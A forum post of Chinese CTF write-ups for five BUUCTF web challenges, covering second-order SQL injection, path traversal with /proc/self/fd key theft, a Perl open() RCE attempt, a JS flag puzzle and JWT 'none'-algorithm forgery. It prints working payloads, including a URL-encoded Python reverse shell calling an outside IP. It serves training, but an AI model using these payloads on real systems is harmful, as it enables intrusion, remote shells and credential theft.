BUUCTF-WEB(76-80)

打印 上一主题 下一主题

主题 906|帖子 906|积分 2718

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

参考:
[BUUCTF题解][CISCN2019 华北赛区 Day1 Web5]CyberPunk - Article_kelp - 博客园 (cnblogs.com)
打开源码发现一个参数

然后我们先把所有页面的代码都获取了
我只放出了change.php的源代码
  1. ?file=php://filter/read=convert.base64-encode/resource=change.php
复制代码
  1. <?php
  2. require_once "config.php";
  3. if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
  4. {
  5.     $msg = '';
  6.     $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
  7.     $user_name = $_POST["user_name"];
  8.     $address = addslashes($_POST["address"]);
  9.     $phone = $_POST["phone"];
  10.     if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
  11.         $msg = 'no sql inject!';
  12.     }else{
  13.         $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
  14.         $fetch = $db->query($sql);
  15.     }
  16.     if (isset($fetch) && $fetch->num_rows>0){
  17.         $row = $fetch->fetch_assoc();
  18.         $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
  19.         $result = $db->query($sql);
  20.         if(!$result) {
  21.             echo 'error';
  22.             print_r($db->error);
  23.             exit;
  24.         }
  25.         $msg = "订单修改成功";
  26.     } else {
  27.         $msg = "未找到订单!";
  28.     }
  29. }else {
  30.     $msg = "信息不全";
  31. }
  32. ?>
  33. <!DOCTYPE html>
  34. <html>
  35. <head>
  36. <meta charset="utf-8">
  37. <title>修改收货地址</title>
  38. <base href="./">
  39. <link href="assets/css/bootstrap.css" rel="stylesheet">
  40. <link href="assets/css/custom-animations.css" rel="stylesheet">
  41. <link href="assets/css/style.css" rel="stylesheet">
  42. </head>
  43. <body>
  44.        
  45.                
  46.                        
  47.                 <p >
  48. </p>
  49.                 <h1>修改收货地址</h1>
  50.                 <form method="post">
  51.                     <p>
  52.                     <h3>姓名:</h3>
  53.                     <input type="text"  name="user_name">
  54.                     <h3>电话:</h3>
  55.                     <input type="text"  name="phone">
  56.                     <h3>地址:</h3>
  57.                     <input type="text"  name="address">
  58.                     </p>
  59.                     <p>
  60.                     <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
  61.                     </p>
  62.                 </form>
  63.                 <?php global $msg; echo '<h2 >'.$msg.'</h2>';?>
  64.             
  65.         
  66.    
  67.    
  68.                
  69.             <p >
  70. </p>
  71.             <h2 >订单管理</h2>
  72.             <a target="_blank" href="https://www.cnblogs.com/./index.php">
  73.                 <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
  74.             </a>
  75.             <a target="_blank" href="https://www.cnblogs.com/./search.php">
  76.                 <button  >我要查订单</button>
  77.             </a>
  78.             <a target="_blank" href="https://www.cnblogs.com/./delete.php">
  79.                 <button  >我不想要了</button>
  80.             </a>
  81.                
  82.        
  83. </body>
  84. </html>
复制代码
对change.php审计可以注意到会直接利用旧的address字段,显然可以在二次注入。
然后我们就现在注册的时候把注入语句存入address字段中,然后我们再去修改页面,修改一些信息,触发sql语句,然后在查询页面可以看到注入的结果
我们先爆数据库
首先创建订单
  1. ',`address`=database()#
复制代码

然后修改订单

然后查看订单,就爆出库了

接下来也不消爆库爆表了,flag在flag.txt,重复同样的步骤搞一遍
  1. ',`address`=(select(load_file("/flag.txt")))#
复制代码

[网鼎杯 2020 白虎组]PicDown

参考:
[网鼎杯 2020 白虎组]PicDown_ctf welcome 23333333333-CSDN博客
Linux的/proc/self/学习_proc self-CSDN博客
有一个输入框,输入之后发现url产生变化

然后我想试试是不是文件包罗,发现是没有一点反应的
  1. file:///etc/passwd
复制代码
那我再试试是不是目次穿越
  1. ../etc/passwd
复制代码
然后下载的时候他是一个图片,但是我记事本打开发现了文件被读取了

然后我们试试常规的flag文件,然后就出来了
  1. ../flag
复制代码

然后搜了wp,这是非预期解,我们看看预期的怎么个事
预期解
我们已经知道了是文件读取,然后我们看一下命令/proc/self/cmdline

然后我们看到这个python文件叫做app.py,我们现在看一下他的源码
  1. /page?url=app.py
复制代码
  1. from flask import Flask, Response
  2. from flask import render_template
  3. from flask import request
  4. import os
  5. import urllib
  6. app = Flask(__name__)
  7. SECRET_FILE = "/tmp/secret.txt"
  8. f = open(SECRET_FILE)
  9. SECRET_KEY = f.read().strip()
  10. os.remove(SECRET_FILE)
  11. @app.route('/')
  12. def index():
  13.     return render_template('search.html')
  14. @app.route('/page')
  15. def page():
  16.     url = request.args.get("url")
  17.     try:
  18.         if not url.lower().startswith("file"):
  19.             res = urllib.urlopen(url)
  20.             value = res.read()
  21.             response = Response(value, mimetype='application/octet-stream')
  22.             response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
  23.             return response
  24.         else:
  25.             value = "HACK ERROR!"
  26.     except:
  27.         value = "SOMETHING WRONG!"
  28.     return render_template('search.html', res=value)
  29. @app.route('/no_one_know_the_manager')
  30. def manager():
  31.     key = request.args.get("key")
  32.     print(SECRET_KEY)
  33.     if key == SECRET_KEY:
  34.         shell = request.args.get("shell")
  35.         os.system(shell)
  36.         res = "ok"
  37.     else:
  38.         res = "Wrong Key!"
  39.     return res
  40. if __name__ == '__main__':
  41.     app.run(host='0.0.0.0', port=8080)
复制代码
我们注意到刚开始从文件中读取了一个SECRET_KEY,然后之后把文件删了,我们也读取不到了,但注意到他没有关闭这个文件其时,所以我们可以在/proc/self/fd/xxx找到这个文件


那我们去试试获取一下这个文件,读取key
  1. /page?url=/proc/self/fd/3
复制代码
  1. 97cbE/DWH2jLX3/bmDEX93UFnUPaOgDB/F8CTxph0Ek=
复制代码
有了这个KEY我们看一下后面,在/no_one_know_the_manager这个页面,我们会传入一个key,当它等于SECRET_KEY这个值,我们会传入一个shell参数,然后就会命令执行,而我们也获取到了key

但是os.system没有回显,我们选择反弹shell,这边我用棱角社区天生的,记得选择python谁人[~]#棱角 ::Edge.Forum* (ywhack.com)
  1. /no_one_know_the_manager?key=97cbE/DWH2jLX3/bmDEX93UFnUPaOgDB/F8CTxph0Ek=&shell=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.130.131.63",1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27
复制代码

[HITCON 2017]SSRFme

参考:
[BUUCTF HITCON 2017]SSRFme 1-CSDN博客
[刷题HITCON 2017]SSRFme - kar3a - 博客园 (cnblogs.com)
【HITCON 2017】SSRFme——最简单伪协议思路 - CAP_T - 博客园 (cnblogs.com)
打开题目就是一个源码甩过来

我么在这里看一下代码,我们在XFF字段传入一个ip,然后会创建出一个目次,名字为orange+ip的md5加密过后,此处我都用的127.0.0.1
然后我们的工作目次就会酿成这个新天生的目次,然后我们会传入一个参数url,利用了GET来进行文件的执行操作,
file_put_contents(basename($info["basename"]), $data);这个将我们linux命令天生的结果,放入了文件中(如果传入的文件名是123,那么$data就被放入sandox/cfbb870b58817bf7705c0bd826e8dba7/123中)
然后我们先试试读取文件
  1. ?url=./../../&filename=123
复制代码
然后访问
  1. /sandbox/cfbb870b58817bf7705c0bd826e8dba7/123
复制代码

然后我们去看看根目次的文件
  1. ?url=./../../../../../&filename=123
复制代码
然后访问
  1. /sandbox/cfbb870b58817bf7705c0bd826e8dba7/123
复制代码

然后我们直接访问flag是空的,我们看到后面readflag是二进制文件,访问后就可以下载下来,所以我们应该运行readflag才气得到我们心心念念的flag
利用perl语言的漏洞:由于GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。
我们先创造一个同名的文件
  1. ?url=&filename=|/readflag
复制代码
然后
  1. ?url=file:|readflag&filename=123
复制代码
但是我发现没有用,还是得不到flag
然后就看到大佬利用一句话木马得到flag【HITCON 2017】SSRFme——最简单伪协议思路 - CAP_T - 博客园 (cnblogs.com)
file_put_contents函数利用data伪协议控制其内容,这里想通过GET后加data伪协议实现写马,但是我这里也失败了。
大概环境出了问题。
[b01lers2020]Welcome to Earth

参考:[BUUCTF之b01lers2020]Welcome to Earth_[b01lers2020]welcome to earth 1-CSDN博客
打开页面就是我嘎了,但是URL已经成/die,我们去掉看看,他很快就又跳转了,我们抓包来搞

我们去这里/chase看看

然后我们去/leftt看一下吧,别的都是绝路一条

然后我们再去/shoot看一下

然后去/door看一下

然后我们再去这个js文件看一下

然后再去/open看一下

再访问一下这个js文件

然后再去/fight看看

然后js

这里应该是乱了,我们给他规复一下
  1. from itertools import permutations
  2. flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
  3. item = permutations(flag)
  4. for i in item:
  5.         k = ''.join(list(i))
  6.         if k.startswith('pctf{hey_boys') and k[-1] == '}':
  7.                 print(k)
复制代码
  1. pctf{hey_boys_im_baaaaaaaaaack!}
复制代码
[HFCTF2020]EasyLogin

参考:
[HFCTF2020]EasyLogin-1|JWT身份伪造 - upfine - 博客园 (cnblogs.com)
[BUUCTF---HFCTF2020]EasyLogin保姆级详解。-CSDN博客
F12查看源码,发现app.js,我们去看一下

题目告诉我们是koa框架,代码内部有个/api/flag,我们去了解一下这个框架nodeJs 进阶Koa项目布局详解 - des杜甫 - 博客园 (cnblogs.com)
然后我们去访问一一下/controllers/api.js,找到一个jwt天生以及和flag相关的函数

天生jwt利用了HS256加密的,但是我们只要,当加密时利用的是 none 方法,验证时只要密钥处为undefined或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,那这样的话我们就可以直接伪造jwt的信息了,我们就改下面几个字段

改成如下的

但是啊,这个网页是无法搞出来的,所以我们需要脚本天生,先去下载PyJWT这个库
  1. import jwt
  2. token = jwt.encode(
  3.     {
  4.         "secretid": [],
  5.         "username": "admin",
  6.         "password": "123",
  7.         "iat": 1718346154
  8.     },
  9.     algorithm="none", key="").encode(encoding='utf-8')
  10. print(token)
复制代码
  1. eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcxODM0NjE1NH0.
复制代码
然后登录的时候抓包,修改

然后点击get flag


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

商道如狼道

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表